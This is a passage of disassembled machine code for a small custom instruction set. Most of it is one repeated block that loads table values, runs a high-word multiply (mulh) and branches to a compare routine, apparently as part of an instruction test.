94b4: 14 30 da d7 br 10 <compare>,#al
94b8: 00 10 00 41 add r2,1
94bc: 0d 41 6d 08 wl16 r8,0xb68
94c0: 0d 60 01 03 wh16 r8,0x3
94c4: 10 40 01 08 ld32 r8,r8
94c8: 0d 43 8e 04 wl16 r16,0x1c64
94cc: 0d 60 02 03 wh16 r16,0x3
94d0: 10 40 02 10 ld32 r16,r16
94d4: 0d 45 ad 20 wl16 r9,0x2d60
94d8: 0d 60 01 23 wh16 r9,0x3
94dc: 10 40 01 29 ld32 r9,r9
94e0: 00 60 01 10 mulh r8,r16
94e4: 20 70 03 e2 movepc rret,8
94e8: 14 30 da ca br 10 <compare>,#al
94ec: 00 10 00 41 add r2,1
94f0: 0d 41 6d 0c wl16 r8,0xb6c
94f4: 0d 60 01 03 wh16 r8,0x3
94f8: 10 40 01 08 ld32 r8,r8
94fc: 0d 43 8e 08 wl16 r16,0x1c68
9500: 0d 60 02 03 wh16 r16,0x3
9504: 10 40 02 10 ld32 r16,r16
9508: 0d 45 ad 24 wl16 r9,0x2d64
950c: 0d 60 01 23 wh16 r9,0x3
9510: 10 40 01 29 ld32 r9,r9
9514: 00 60 01 10 mulh r8,r16
9518: 20 70 03 e2 movepc rret,8
951c: 14 30 da bd br 10 <compare>,#al
9520: 00 10 00 41 add r2,1
9524: 0d 41 6d 10 wl16 r8,0xb70
9528: 0d 60 01 03 wh16 r8,0x3
952c: 10 40 01 08 ld32 r8,r8
9530: 0d 43 8e 0c wl16 r16,0x1c6c
9534: 0d 60 02 03 wh16 r16,0x3
9538: 10 40 02 10 ld32 r16,r16
953c: 0d 45 ad 28 wl16 r9,0x2d68
9540: 0d 60 01 23 wh16 r9,0x3
9544: 10 40 01 29 ld32 r9,r9
9548: 00 60 01 10 mulh r8,r16
954c: 20 70 03 e2 movepc rret,8
9550: 14 30 da b0 br 10 <compare>,#al
9554: 00 10 00 41 add r2,1
9558: 0d 41 6d 14 wl16 r8,0xb74
955c: 0d 60 01 03 wh16 r8,0x3
9560: 10 40 01 08 ld32 r8,r8
9564: 0d 43 8e 10 wl16 r16,0x1c70
9568: 0d 60 02 03 wh16 r16,0x3
956c: 10 40 02 10 ld32 r16,r16
9570: 0d 45 ad 2c wl16 r9,0x2d6c
9574: 0d 60 01 23 wh16 r9,0x3
9578: 10 40 01 29 ld32 r9,r9
957c: 00 60 01 10 mulh r8,r16
9580: 20 70 03 e2 movepc rret,8
9584: 14 30 da a3 br 10 <compare>,#al
9588: 00 10 00 41 add r2,1
958c: 0d 41 6d 18 wl16 r8,0xb78
9590: 0d 60 01 03 wh16 r8,0x3
9594: 10 40 01 08 ld32 r8,r8
9598: 0d 43 8e 14 wl16 r16,0x1c74
959c: 0d 60 02 03 wh16 r16,0x3
95a0: 10 40 02 10 ld32 r16,r16
95a4: 0d 45 ad 30 wl16 r9,0x2d70
95a8: 0d 60 01 23 wh16 r9,0x3
95ac: 10 40 01 29 ld32 r9,r9
95b0: 00 60 01 10 mulh r8,r16
95b4: 20 70 03 e2 movepc rret,8
95b8: 14 30 da 96 br 10 <compare>,#al
95bc: 00 10 00 41 add r2,1
95c0: 0d 41 6d 1c wl16 r8,0xb7c
95c4: 0d 60 01 03 wh16 r8,0x3
95c8: 10 40 01 08 ld32 r8,r8
95cc: 0d 43 8e 18 wl16 r16,0x1c78
95d0: 0d 60 02 03 wh16 r16,0x3
95d4: 10 40 02 10 ld32 r16,r16
95d8: 0d 45 ad 34 wl16 r9,0x2d74
95dc: 0d 60 01 23 wh16 r9,0x3
95e0: 10 40 01 29 ld32 r9,r9
95e4: 00 60 01 10 mulh r8,r16
95e8: 20 70 03 e2 movepc rret,8
95ec: 14 30 da 89 br 10 <compare>,#al
95f0: 00 10 00 41 add r2,1
95f4: 0d 41 71 00 wl16 r8,0xb80
95f8: 0d 60 01 03 wh16 r8,0x3
95fc: 10 40 01 08 ld32 r8,r8
9600: 0d 43 8e 1c wl16 r16,0x1c7c
9604: 0d 60 02 03 wh16 r16,0x3
9608: 10 40 02 10 ld32 r16,r16
960c: 0d 45 ad 38 wl16 r9,0x2d78
9610: 0d 60 01 23 wh16 r9,0x3
9614: 10 40 01 29 ld32 r9,r9
9618: 00 60 01 10 mulh r8,r16
961c: 20 70 03 e2 movepc rret,8
9620: 14 30 da 7c br 10 <compare>,#al
9624: 00 10 00 41 add r2,1
9628: 0d 41 71 04 wl16 r8,0xb84
962c: 0d 60 01 03 wh16 r8,0x3
9630: 10 40 01 08 ld32 r8,r8
9634: 0d 43 92 00 wl16 r16,0x1c80
9638: 0d 60 02 03 wh16 r16,0x3
963c: 10 40 02 10 ld32 r16,r16
9640: 0d 45 ad 3c wl16 r9,0x2d7c
9644: 0d 60 01 23 wh16 r9,0x3
9648: 10 40 01 29 ld32 r9,r9
964c: 00 60 01 10 mulh r8,r16
9650: 20 70 03 e2 movepc rret,8
9654: 14 30 da 6f br 10 <compare>,#al
9658: 00 10 00 41 add r2,1
965c: 0d 41 71 08 wl16 r8,0xb88
9660: 0d 60 01 03 wh16 r8,0x3
9664: 10 40 01 08 ld32 r8,r8
9668: 0d 43 92 04 wl16 r16,0x1c84
966c: 0d 60 02 03 wh16 r16,0x3
9670: 10 40 02 10 ld32 r16,r16
9674: 0d 45 b1 20 wl16 r9,0x2d80
9678: 0d 60 01 23 wh16 r9,0x3
967c: 10 40 01 29 ld32 r9,r9
9680: 00 60 01 10 mulh r8,r16
9684: 20 70 03 e2 movepc rret,8
9688: 14 30 da 62 br 10 <compare>,#al
968c: 00 10 00 41 add r2,1
9690: 0d 41 71 0c wl16 r8,0xb8c
9694: 0d 60 01 03 wh16 r8,0x3
9698: 10 40 01 08 ld32 r8,r8
969c: 0d 43 92 08 wl16 r16,0x1c88
96a0: 0d 60 02 03 wh16 r16,0x3
96a4: 10 40 02 10 ld32 r16,r16
96a8: 0d 45 b1 24 wl16 r9,0x2d84
96ac: 0d 60 01 23 wh16 r9,0x3
96b0: 10 40 01 29 ld32 r9,r9
96b4: 00 60 01 10 mulh r8,r16
96b8: 20 70 03 e2 movepc rret,8
96bc: 14 30 da 55 br 10 <compare>,#al
96c0: 00 10 00 41 add r2,1
96c4: 0d 41 71 10 wl16 r8,0xb90
96c8: 0d 60 01 03 wh16 r8,0x3
96cc: 10 40 01 08 ld32 r8,r8
96d0: 0d 43 92 0c wl16 r16,0x1c8c
96d4: 0d 60 02 03 wh16 r16,0x3
96d8: 10 40 02 10 ld32 r16,r16
96dc: 0d 45 b1 28 wl16 r9,0x2d88
96e0: 0d 60 01 23 wh16 r9,0x3
96e4: 10 40 01 29 ld32 r9,r9
96e8: 00 60 01 10 mulh r8,r16
96ec: 20 70 03 e2 movepc rret,8
96f0: 14 30 da 48 br 10 <compare>,#al
96f4: 00 10 00 41 add r2,1
96f8: 0d 41 71 14 wl16 r8,0xb94
96fc: 0d 60 01 03 wh16 r8,0x3
9700: 10 40 01 08 ld32 r8,r8
9704: 0d 43 92 10 wl16 r16,0x1c90
9708: 0d 60 02 03 wh16 r16,0x3
970c: 10 40 02 10 ld32 r16,r16
9710: 0d 45 b1 2c wl16 r9,0x2d8c
9714: 0d 60 01 23 wh16 r9,0x3
9718: 10 40 01 29 ld32 r9,r9
971c: 00 60 01 10 mulh r8,r16
9720: 20 70 03 e2 movepc rret,8
9724: 14 30 da 3b br 10 <compare>,#al
9728: 00 10 00 41 add r2,1
972c: 0d 41 71 18 wl16 r8,0xb98
9730: 0d 60 01 03 wh16 r8,0x3
9734: 10 40 01 08 ld32 r8,r8
9738: 0d 43 92 14 wl16 r16,0x1c94
973c: 0d 60 02 03 wh16 r16,0x3
9740: 10 40 02 10 ld32 r16,r16
9744: 0d 45 b1 30 wl16 r9,0x2d90
9748: 0d 60 01 23 wh16 r9,0x3
974c: 10 40 01 29 ld32 r9,r9
9750: 00 60 01 10 mulh r8,r16
9754: 20 70 03 e2 movepc rret,8
9758: 14 30 da 2e br 10 <compare>,#al
975c: 00 10 00 41 add r2,1
9760: 0d 41 71 1c wl16 r8,0xb9c
9764: 0d 60 01 03 wh16 r8,0x3
9768: 10 40 01 08 ld32 r8,r8
976c: 0d 43 92 18 wl16 r16,0x1c98
9770: 0d 60 02 03 wh16 r16,0x3
9774: 10 40 02 10 ld32 r16,r16
9778: 0d 45 b1 34 wl16 r9,0x2d94
977c: 0d 60 01 23 wh16 r9,0x3
9780: 10 40 01 29 ld32 r9,r9
9784: 00 60 01 10 mulh r8,r16
9788: 20 70 03 e2 movepc rret,8
978c: 14 30 da 21 br 10 <compare>,#al
9790: 00 10 00 41 add r2,1
9794: 0d 41 75 00 wl16 r8,0xba0
9798: 0d 60 01 03 wh16 r8,0x3
979c: 10 40 01 08 ld32 r8,r8
97a0: 0d 43 92 1c wl16 r16,0x1c9c
97a4: 0d 60 02 03 wh16 r16,0x3
97a8: 10 40 02 10 ld32 r16,r16
97ac: 0d 45 b1 38 wl16 r9,0x2d98
97b0: 0d 60 01 23 wh16 r9,0x3
97b4: 10 40 01 29 ld32 r9,r9
97b8: 00 60 01 10 mulh r8,r16
97bc: 20 70 03 e2 movepc rret,8
97c0: 14 30 da 14 br 10 <compare>,#al
97c4: 00 10 00 41 add r2,1
97c8: 0d 41 75 04 wl16 r8,0xba4
97cc: 0d 60 01 03 wh16 r8,0x3
97d0: 10 40 01 08 ld32 r8,r8
97d4: 0d 43 96 00 wl16 r16,0x1ca0
97d8: 0d 60 02 03 wh16 r16,0x3
97dc: 10 40 02 10 ld32 r16,r16
97e0: 0d 45 b1 3c wl16 r9,0x2d9c
97e4: 0d 60 01 23 wh16 r9,0x3
97e8: 10 40 01 29 ld32 r9,r9
97ec: 00 60 01 10 mulh r8,r16
97f0: 20 70 03 e2 movepc rret,8
97f4: 14 30 da 07 br 10 <compare>,#al
97f8: 00 10 00 41 add r2,1
97fc: 0d 41 75 08 wl16 r8,0xba8
9800: 0d 60 01 03 wh16 r8,0x3
9804: 10 40 01 08 ld32 r8,r8
9808: 0d 43 96 04 wl16 r16,0x1ca4
980c: 0d 60 02 03 wh16 r16,0x3
9810: 10 40 02 10 ld32 r16,r16
9814: 0d 45 b5 20 wl16 r9,0x2da0
9818: 0d 60 01 23 wh16 r9,0x3
981c: 10 40 01 29 ld32 r9,r9
9820: 00 60 01 10 mulh r8,r16
9824: 20 70 03 e2 movepc rret,8
9828: 14 30 d9 fa br 10 <compare>,#al
982c: 00 10 00 41 add r2,1
9830: 0d 41 75 0c wl16 r8,0xbac
9834: 0d 60 01 03 wh16 r8,0x3
9838: 10 40 01 08 ld32 r8,r8
983c: 0d 43 96 08 wl16 r16,0x1ca8
9840: 0d 60 02 03 wh16 r16,0x3
9844: 10 40 02 10 ld32 r16,r16
9848: 0d 45 b5 24 wl16 r9,0x2da4
984c: 0d 60 01 23 wh16 r9,0x3
9850: 10 40 01 29 ld32 r9,r9
9854: 00 60 01 10 mulh r8,r16
9858: 20 70 03 e2 movepc rret,8
985c: 14 30 d9 ed br 10 <compare>,#al
9860: 00 10 00 41 add r2,1
9864: 0d 41 75 10 wl16 r8,0xbb0
9868: 0d 60 01 03 wh16 r8,0x3
986c: 10 40 01 08 ld32 r8,r8
9870: 0d 43 96 0c wl16 r16,0x1cac
9874: 0d 60 02 03 wh16 r16,0x3
9878: 10 40 02 10 ld32 r16,r16
987c: 0d 45 b5 28 wl16 r9,0x2da8
9880: 0d 60 01 23 wh16 r9,0x3
9884: 10 40 01 29 ld32 r9,r9
9888: 00 60 01 10 mulh r8,r16
988c: 20 70 03 e2 movepc rret,8
9890: 14 30 d9 e0 br 10 <compare>,#al
9894: 00 10 00 41 add r2,1
9898: 0d 41 75 14 wl16 r8,0xbb4
989c: 0d 60 01 03 wh16 r8,0x3
98a0: 10 40 01 08 ld32 r8,r8
98a4: 0d 43 96 10 wl16 r16,0x1cb0
98a8: 0d 60 02 03 wh16 r16,0x3
98ac: 10 40 02 10 ld32 r16,r16
98b0: 0d 45 b5 2c wl16 r9,0x2dac
98b4: 0d 60 01 23 wh16 r9,0x3
98b8: 10 40 01 29 ld32 r9,r9
98bc: 00 60 01 10 mulh r8,r16
98c0: 20 70 03 e2 movepc rret,8
98c4: 14 30 d9 d3 br 10 <compare>,#al
98c8: 00 10 00 41 add r2,1
98cc: 0d 41 75 18 wl16 r8,0xbb8
98d0: 0d 60 01 03 wh16 r8,0x3
98d4: 10 40 01 08 ld32 r8,r8
98d8: 0d 43 96 14 wl16 r16,0x1cb4
98dc: 0d 60 02 03 wh16 r16,0x3
98e0: 10 40 02 10 ld32 r16,r16
98e4: 0d 45 b5 30 wl16 r9,0x2db0
98e8: 0d 60 01 23 wh16 r9,0x3
98ec: 10 40 01 29 ld32 r9,r9
98f0: 00 60 01 10 mulh r8,r16
98f4: 20 70 03 e2 movepc rret,8
98f8: 14 30 d9 c6 br 10 <compare>,#al
98fc: 00 10 00 41 add r2,1
9900: 0d 41 75 1c wl16 r8,0xbbc
9904: 0d 60 01 03 wh16 r8,0x3
9908: 10 40 01 08 ld32 r8,r8
990c: 0d 43 96 18 wl16 r16,0x1cb8
9910: 0d 60 02 03 wh16 r16,0x3
9914: 10 40 02 10 ld32 r16,r16
9918: 0d 45 b5 34 wl16 r9,0x2db4
991c: 0d 60 01 23 wh16 r9,0x3
9920: 10 40 01 29 ld32 r9,r9
9924: 00 60 01 10 mulh r8,r16
9928: 20 70 03 e2 movepc rret,8
992c: 14 30 d9 b9 br 10 <compare>,#al
9930: 00 10 00 41 add r2,1
9934: 0d 41 79 00 wl16 r8,0xbc0
9938: 0d 60 01 03 wh16 r8,0x3
993c: 10 40 01 08 ld32 r8,r8
9940: 0d 43 96 1c wl16 r16,0x1cbc
9944: 0d 60 02 03 wh16 r16,0x3
9948: 10 40 02 10 ld32 r16,r16
994c: 0d 45 b5 38 wl16 r9,0x2db8
9950: 0d 60 01 23 wh16 r9,0x3
9954: 10 40 01 29 ld32 r9,r9
9958: 00 60 01 10 mulh r8,r16
995c: 20 70 03 e2 movepc rret,8
9960: 14 30 d9 ac br 10 <compare>,#al
9964: 00 10 00 41 add r2,1
9968: 0d 41 79 04 wl16 r8,0xbc4
996c: 0d 60 01 03 wh16 r8,0x3
9970: 10 40 01 08 ld32 r8,r8
9974: 0d 43 9a 00 wl16 r16,0x1cc0
9978: 0d 60 02 03 wh16 r16,0x3
997c: 10 40 02 10 ld32 r16,r16
9980: 0d 45 b5 3c wl16 r9,0x2dbc
9984: 0d 60 01 23 wh16 r9,0x3
9988: 10 40 01 29 ld32 r9,r9
998c: 00 60 01 10 mulh r8,r16
9990: 20 70 03 e2 movepc rret,8
9994: 14 30 d9 9f br 10 <compare>,#al
9998: 00 10 00 41 add r2,1
999c: 0d 41 79 08 wl16 r8,0xbc8
99a0: 0d 60 01 03 wh16 r8,0x3
99a4: 10 40 01 08 ld32 r8,r8
99a8: 0d 43 9a 04 wl16 r16,0x1cc4
99ac: 0d 60 02 03 wh16 r16,0x3
99b0: 10 40 02 10 ld32 r16,r16
99b4: 0d 45 b9 20 wl16 r9,0x2dc0
99b8: 0d 60 01 23 wh16 r9,0x3
99bc: 10 40 01 29 ld32 r9,r9
99c0: 00 60 01 10 mulh r8,r16
99c4: 20 70 03 e2 movepc rret,8
99c8: 14 30 d9 92 br 10 <compare>,#al
99cc: 00 10 00 41 add r2,1
99d0: 0d 41 79 0c wl16 r8,0xbcc
99d4: 0d 60 01 03 wh16 r8,0x3
99d8: 10 40 01 08 ld32 r8,r8
99dc: 0d 43 9a 08 wl16 r16,0x1cc8
99e0: 0d 60 02 03 wh16 r16,0x3
99e4: 10 40 02 10 ld32 r16,r16
99e8: 0d 45 b9 24 wl16 r9,0x2dc4
99ec: 0d 60 01 23 wh16 r9,0x3
99f0: 10 40 01 29 ld32 r9,r9
99f4: 00 60 01 10 mulh r8,r16
99f8: 20 70 03 e2 movepc rret,8
99fc: 14 30 d9 85 br 10 <compare>,#al
9a00: 00 10 00 41 add r2,1
9a04: 0d 41 79 10 wl16 r8,0xbd0
9a08: 0d 60 01 03 wh16 r8,0x3
9a0c: 10 40 01 08 ld32 r8,r8
9a10: 0d 43 9a 0c wl16 r16,0x1ccc
9a14: 0d 60 02 03 wh16 r16,0x3
9a18: 10 40 02 10 ld32 r16,r16
9a1c: 0d 45 b9 28 wl16 r9,0x2dc8
9a20: 0d 60 01 23 wh16 r9,0x3
9a24: 10 40 01 29 ld32 r9,r9
9a28: 00 60 01 10 mulh r8,r16
9a2c: 20 70 03 e2 movepc rret,8
9a30: 14 30 d9 78 br 10 <compare>,#al
9a34: 00 10 00 41 add r2,1
9a38: 0d 41 79 14 wl16 r8,0xbd4
9a3c: 0d 60 01 03 wh16 r8,0x3
9a40: 10 40 01 08 ld32 r8,r8
9a44: 0d 43 9a 10 wl16 r16,0x1cd0
9a48: 0d 60 02 03 wh16 r16,0x3
9a4c: 10 40 02 10 ld32 r16,r16
9a50: 0d 45 b9 2c wl16 r9,0x2dcc
9a54: 0d 60 01 23 wh16 r9,0x3
9a58: 10 40 01 29 ld32 r9,r9
9a5c: 00 60 01 10 mulh r8,r16
9a60: 20 70 03 e2 movepc rret,8
9a64: 14 30 d9 6b br 10 <compare>,#al
9a68: 00 10 00 41 add r2,1
9a6c: 0d 41 79 18 wl16 r8,0xbd8
9a70: 0d 60 01 03 wh16 r8,0x3
9a74: 10 40 01 08 ld32 r8,r8
9a78: 0d 43 9a 14 wl16 r16,0x1cd4
9a7c: 0d 60 02 03 wh16 r16,0x3
9a80: 10 40 02 10 ld32 r16,r16
9a84: 0d 45 b9 30 wl16 r9,0x2dd0
9a88: 0d 60 01 23 wh16 r9,0x3
9a8c: 10 40 01 29 ld32 r9,r9
9a90: 00 60 01 10 mulh r8,r16
9a94: 20 70 03 e2 movepc rret,8
9a98: 14 30 d9 5e br 10 <compare>,#al
9a9c: 00 10 00 41 add r2,1
9aa0: 0d 41 79 1c wl16 r8,0xbdc
9aa4: 0d 60 01 03 wh16 r8,0x3
9aa8: 10 40 01 08 ld32 r8,r8
9aac: 0d 43 9a 18 wl16 r16,0x1cd8
9ab0: 0d 60 02 03 wh16 r16,0x3
9ab4: 10 40 02 10 ld32 r16,r16
9ab8: 0d 45 b9 34 wl16 r9,0x2dd4
9abc: 0d 60 01 23 wh16 r9,0x3
9ac0: 10 40 01 29 ld32 r9,r9
9ac4: 00 60 01 10 mulh r8,r16
9ac8: 20 70 03 e2 movepc rret,8
9acc: 14 30 d9 51 br 10 <compare>,#al
9ad0: 00 10 00 41 add r2,1
9ad4: 0d 41 7d 00 wl16 r8,0xbe0
9ad8: 0d 60 01 03 wh16 r8,0x3
9adc: 10 40 01 08 ld32 r8,r8
9ae0: 0d 43 9a 1c wl16 r16,0x1cdc
9ae4: 0d 60 02 03 wh16 r16,0x3
9ae8: 10 40 02 10 ld32 r16,r16
9aec: 0d 45 b9 38 wl16 r9,0x2dd8
9af0: 0d 60 01 23 wh16 r9,0x3
9af4: 10 40 01 29 ld32 r9,r9
9af8: 00 60 01 10 mulh r8,r16
9afc: 20 70 03 e2 movepc rret,8
9b00: 14 30 d9 44 br 10 <compare>,#al
9b04: 00 10 00 41 add r2,1
9b08: 0d 41 7d 04 wl16 r8,0xbe4
9b0c: 0d 60 01 03 wh16 r8,0x3
9b10: 10 40 01 08 ld32 r8,r8
9b14: 0d 43 9e 00 wl16 r16,0x1ce0
9b18: 0d 60 02 03 wh16 r16,0x3
9b1c: 10 40 02 10 ld32 r16,r16
9b20: 0d 45 b9 3c wl16 r9,0x2ddc
9b24: 0d 60 01 23 wh16 r9,0x3
9b28: 10 40 01 29 ld32 r9,r9
9b2c: 00 60 01 10 mulh r8,r16
9b30: 20 70 03 e2 movepc rret,8
9b34: 14 30 d9 37 br 10 <compare>,#al
9b38: 00 10 00 41 add r2,1
9b3c: 0d 41 7d 08 wl16 r8,0xbe8
9b40: 0d 60 01 03 wh16 r8,0x3
9b44: 10 40 01 08 ld32 r8,r8
9b48: 0d 43 9e 04 wl16 r16,0x1ce4
9b4c: 0d 60 02 03 wh16 r16,0x3
9b50: 10 40 02 10 ld32 r16,r16
9b54: 0d 45 bd 20 wl16 r9,0x2de0
9b58: 0d 60 01 23 wh16 r9,0x3
9b5c: 10 40 01 29 ld32 r9,r9
9b60: 00 60 01 10 mulh r8,r16
9b64: 20 70 03 e2 movepc rret,8
9b68: 14 30 d9 2a br 10 <compare>,#al
9b6c: 00 10 00 41 add r2,1
9b70: 0d 41 7d 0c wl16 r8,0xbec
9b74: 0d 60 01 03 wh16 r8,0x3
9b78: 10 40 01 08 ld32 r8,r8
9b7c: 0d 43 9e 08 wl16 r16,0x1ce8
9b80: 0d 60 02 03 wh16 r16,0x3
9b84: 10 40 02 10 ld32 r16,r16
9b88: 0d 45 bd 24 wl16 r9,0x2de4
9b8c: 0d 60 01 23 wh16 r9,0x3
9b90: 10 40 01 29 ld32 r9,r9
9b94: 00 60 01 10 mulh r8,r16
9b98: 20 70 03 e2 movepc rret,8
9b9c: 14 30 d9 1d br 10 <compare>,#al
9ba0: 00 10 00 41 add r2,1
9ba4: 0d 41 7d 10 wl16 r8,0xbf0
9ba8: 0d 60 01 03 wh16 r8,0x3
9bac: 10 40 01 08 ld32 r8,r8
9bb0: 0d 43 9e 0c wl16 r16,0x1cec
9bb4: 0d 60 02 03 wh16 r16,0x3
9bb8: 10 40 02 10 ld32 r16,r16
9bbc: 0d 45 bd 28 wl16 r9,0x2de8
9bc0: 0d 60 01 23 wh16 r9,0x3
9bc4: 10 40 01 29 ld32 r9,r9
9bc8: 00 60 01 10 mulh r8,r16
9bcc: 20 70 03 e2 movepc rret,8
9bd0: 14 30 d9 10 br 10 <compare>,#al
9bd4: 00 10 00 41 add r2,1
9bd8: 0d 41 7d 14 wl16 r8,0xbf4
9bdc: 0d 60 01 03 wh16 r8,0x3
9be0: 10 40 01 08 ld32 r8,r8
9be4: 0d 43 9e 10 wl16 r16,0x1cf0
9be8: 0d 60 02 03 wh16 r16,0x3
9bec: 10 40 02 10 ld32 r16,r16
9bf0: 0d 45 bd 2c wl16 r9,0x2dec
9bf4: 0d 60 01 23 wh16 r9,0x3
9bf8: 10 40 01 29 ld32 r9,r9
9bfc: 00 60 01 10 mulh r8,r16
9c00: 20 70 03 e2 movepc rret,8
9c04: 14 30 d9 03 br 10 <compare>,#al
9c08: 00 10 00 41 add r2,1
9c0c: 0d 41 7d 18 wl16 r8,0xbf8
9c10: 0d 60 01 03 wh16 r8,0x3
9c14: 10 40 01 08 ld32 r8,r8
9c18: 0d 43 9e 14 wl16 r16,0x1cf4
9c1c: 0d 60 02 03 wh16 r16,0x3
9c20: 10 40 02 10 ld32 r16,r16
9c24: 0d 45 bd 30 wl16 r9,0x2df0
9c28: 0d 60 01 23 wh16 r9,0x3
9c2c: 10 40 01 29 ld32 r9,r9
9c30: 00 60 01 10 mulh r8,r16
9c34: 20 70 03 e2 movepc rret,8
9c38: 14 30 d8 f6 br 10 <compare>,#al
9c3c: 00 10 00 41 add r2,1
9c40: 0d 41 7d 1c wl16 r8,0xbfc
9c44: 0d 60 01 03 wh16 r8,0x3
9c48: 10 40 01 08 ld32 r8,r8
9c4c: 0d 43 9e 18 wl16 r16,0x1cf8
9c50: 0d 60 02 03 wh16 r16,0x3
9c54: 10 40 02 10 ld32 r16,r16
9c58: 0d 45 bd 34 wl16 r9,0x2df4
9c5c: 0d 60 01 23 wh16 r9,0x3
9c60: 10 40 01 29 ld32 r9,r9
9c64: 00 60 01 10 mulh r8,r16
9c68: 20 70 03 e2 movepc rret,8
9c6c: 14 30 d8 e9 br 10 <compare>,#al
9c70: 00 10 00 41 add r2,1
9c74: 0d 41 81 00 wl16 r8,0xc00
9c78: 0d 60 01 03 wh16 r8,0x3
9c7c: 10 40 01 08 ld32 r8,r8
9c80: 0d 43 9e 1c wl16 r16,0x1cfc
9c84: 0d 60 02 03 wh16 r16,0x3
9c88: 10 40 02 10 ld32 r16,r16
9c8c: 0d 45 bd 38 wl16 r9,0x2df8
9c90: 0d 60 01 23 wh16 r9,0x3
9c94: 10 40 01 29 ld32 r9,r9
9c98: 00 60 01 10 mulh r8,r16
9c9c: 20 70 03 e2 movepc rret,8
9ca0: 14 30 d8 dc br 10 <compare>,#al
9ca4: 00 10 00 41 add r2,1
9ca8: 0d 41 81 04 wl16 r8,0xc04
9cac: 0d 60 01 03 wh16 r8,0x3
9cb0: 10 40 01 08 ld32 r8,r8
9cb4: 0d 43 a2 00 wl16 r16,0x1d00
9cb8: 0d 60 02 03 wh16 r16,0x3
9cbc: 10 40 02 10 ld32 r16,r16
9cc0: 0d 45 bd 3c wl16 r9,0x2dfc
9cc4: 0d 60 01 23 wh16 r9,0x3
9cc8: 10 40 01 29 ld32 r9,r9
9ccc: 00 60 01 10 mulh r8,r16
9cd0: 20 70 03 e2 movepc rret,8
9cd4: 14 30 d8 cf br 10 <compare>,#al
9cd8: 00 10 00 41 add r2,1
9cdc: 0d 41 81 08 wl16 r8,0xc08
9ce0: 0d 60 01 03 wh16 r8,0x3
9ce4: 10 40 01 08 ld32 r8,r8
9ce8: 0d 43 a2 04 wl16 r16,0x1d04
9cec: 0d 60 02 03 wh16 r16,0x3
9cf0: 10 40 02 10 ld32 r16,r16
9cf4: 0d 45 c1 20 wl16 r9,0x2e00
9cf8: 0d 60 01 23 wh16 r9,0x3
9cfc: 10 40 01 29 ld32 r9,r9
9d00: 00 60 01 10 mulh r8,r16
9d04: 20 70 03 e2 movepc rret,8
9d08: 14 30 d8 c2 br 10 <compare>,#al
9d0c: 00 10 00 41 add r2,1
9d10: 0d 41 81 0c wl16 r8,0xc0c
9d14: 0d 60 01 03 wh16 r8,0x3
9d18: 10 40 01 08 ld32 r8,r8
9d1c: 0d 43 a2 08 wl16 r16,0x1d08
9d20: 0d 60 02 03 wh16 r16,0x3
9d24: 10 40 02 10 ld32 r16,r16
9d28: 0d 45 c1 24 wl16 r9,0x2e04
9d2c: 0d 60 01 23 wh16 r9,0x3
9d30: 10 40 01 29 ld32 r9,r9
9d34: 00 60 01 10 mulh r8,r16
9d38: 20 70 03 e2 movepc rret,8
9d3c: 14 30 d8 b5 br 10 <compare>,#al
9d40: 00 10 00 41 add r2,1
9d44: 0d 41 81 10 wl16 r8,0xc10
9d48: 0d 60 01 03 wh16 r8,0x3
9d4c: 10 40 01 08 ld32 r8,r8
9d50: 0d 43 a2 0c wl16 r16,0x1d0c
9d54: 0d 60 02 03 wh16 r16,0x3
9d58: 10 40 02 10 ld32 r16,r16
9d5c: 0d 45 c1 28 wl16 r9,0x2e08
9d60: 0d 60 01 23 wh16 r9,0x3
9d64: 10 40 01 29 ld32 r9,r9
9d68: 00 60 01 10 mulh r8,r16
9d6c: 20 70 03 e2 movepc rret,8
9d70: 14 30 d8 a8 br 10 <compare>,#al
9d74: 00 10 00 41 add r2,1
9d78: 0d 41 81 14 wl16 r8,0xc14
9d7c: 0d 60 01 03 wh16 r8,0x3
9d80: 10 40 01 08 ld32 r8,r8
9d84: 0d 43 a2 10 wl16 r16,0x1d10
9d88: 0d 60 02 03 wh16 r16,0x3
9d8c: 10 40 02 10 ld32 r16,r16
9d90: 0d 45 c1 2c wl16 r9,0x2e0c
9d94: 0d 60 01 23 wh16 r9,0x3
9d98: 10 40 01 29 ld32 r9,r9
9d9c: 00 60 01 10 mulh r8,r16
9da0: 20 70 03 e2 movepc rret,8
9da4: 14 30 d8 9b br 10 <compare>,#al
9da8: 00 10 00 41 add r2,1
9dac: 0d 41 81 18 wl16 r8,0xc18
9db0: 0d 60 01 03 wh16 r8,0x3
9db4: 10 40 01 08 ld32 r8,r8
9db8: 0d 43 a2 14 wl16 r16,0x1d14
9dbc: 0d 60 02 03 wh16 r16,0x3
9dc0: 10 40 02 10 ld32 r16,r16
9dc4: 0d 45 c1 30 wl16 r9,0x2e10
9dc8: 0d 60 01 23 wh16 r9,0x3
9dcc: 10 40 01 29 ld32 r9,r9
9dd0: 00 60 01 10 mulh r8,r16
9dd4: 20 70 03 e2 movepc rret,8
9dd8: 14 30 d8 8e br 10 <compare>,#al
9ddc: 00 10 00 41 add r2,1
9de0: 0d 41 81 1c wl16 r8,0xc1c
9de4: 0d 60 01 03 wh16 r8,0x3
9de8: 10 40 01 08 ld32 r8,r8
9dec: 0d 43 a2 18 wl16 r16,0x1d18
9df0: 0d 60 02 03 wh16 r16,0x3
9df4: 10 40 02 10 ld32 r16,r16
9df8: 0d 45 c1 34 wl16 r9,0x2e14
9dfc: 0d 60 01 23 wh16 r9,0x3
9e00: 10 40 01 29 ld32 r9,r9
9e04: 00 60 01 10 mulh r8,r16
9e08: 20 70 03 e2 movepc rret,8
9e0c: 14 30 d8 81 br 10 <compare>,#al
9e10: 00 10 00 41 add r2,1
9e14: 0d 41 85 00 wl16 r8,0xc20
9e18: 0d 60 01 03 wh16 r8,0x3
9e1c: 10 40 01 08 ld32 r8,r8
9e20: 0d 43 a2 1c wl16 r16,0x1d1c
9e24: 0d 60 02 03 wh16 r16,0x3
9e28: 10 40 02 10 ld32 r16,r16
9e2c: 0d 45 c1 38 wl16 r9,0x2e18
9e30: 0d 60 01 23 wh16 r9,0x3
9e34: 10 40 01 29 ld32 r9,r9
9e38: 00 60 01 10 mulh r8,r16
9e3c: 20 70 03 e2 movepc rret,8
9e40: 14 30 d8 74 br 10 <compare>,#al
9e44: 00 10 00 41 add r2,1
9e48: 0d 41 85 04 wl16 r8,0xc24
9e4c: 0d 60 01 03 wh16 r8,0x3
9e50: 10 40 01 08 ld32 r8,r8
9e54: 0d 43 a6 00 wl16 r16,0x1d20
9e58: 0d 60 02 03 wh16 r16,0x3
9e5c: 10 40 02 10 ld32 r16,r16
9e60: 0d 45 c1 3c wl16 r9,0x2e1c
